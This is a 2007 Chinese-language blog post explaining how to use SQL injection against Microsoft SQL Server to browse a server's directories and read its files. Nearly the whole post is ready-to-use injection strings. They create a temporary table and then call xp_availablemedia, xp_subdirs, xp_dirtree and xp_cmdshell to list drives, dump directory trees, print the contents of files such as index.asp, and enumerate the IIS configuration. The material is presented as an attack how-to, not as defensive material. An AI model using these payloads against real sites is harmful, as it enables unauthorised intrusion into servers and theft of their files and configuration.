如何利用Sql 注入遍历目录

作者:Alex    更新时间:2007-12-5 14:40:00

有时候手工注入时就用得到了  

关于如何取得注入入口不再说了,前面的帖子都说得很详细了,我们就如何浏览全部目录和文件进行研究  
当System_user为"sa"时,具有全部权限,包括执行master.dbo.xp_cmdshell,如果这个存储过程没有改名或删除,我们可以利用它来遍历全部目录,执行如下:  
先创建一个临时表:temp  
’5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--  
接下来:  
(1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:  
5’;insert temp exec master.dbo.xp_availablemedia;--  
我们可以通过查询temp的内容来获得驱动器列表及相关信息  
(2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中:  
5’;insert into temp(id) exec master.dbo.xp_subdirs ’c:\’;--  
(3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:  
5’;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;--  

这样就可以成功的浏览到所有的目录(文件夹)列表:  
如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:  
5’;insert into temp(id) exec master.dbo.xp_cmdshell ’type c:\web\index.asp’;--  
浏览temp就可以看到index.asp文件的内容了!  

当然,如果xp_cmshell能够执行,我们可以用它来完成:  
5’;insert into temp(id) exec master.dbo.xp_cmdshell ’dir c:\’;--  
5’;insert into temp(id) exec master.dbo.xp_cmdshell ’dir c:\ *.asp /s/a’;--  

通过xp_cmdshell我们可以看到所有想看到的,包括W3svc  

5’;insert into temp(id) exec master.dbo.xp_cmdshell ’cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc’  

但是,如果不是Admin的权限,我们还可以使用  
5’;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;--

上一篇:企业管理的路径依赖症
下一篇:安装DZ时总提示不支持MYsql的解决办法
网友评论
相关文章
站长推荐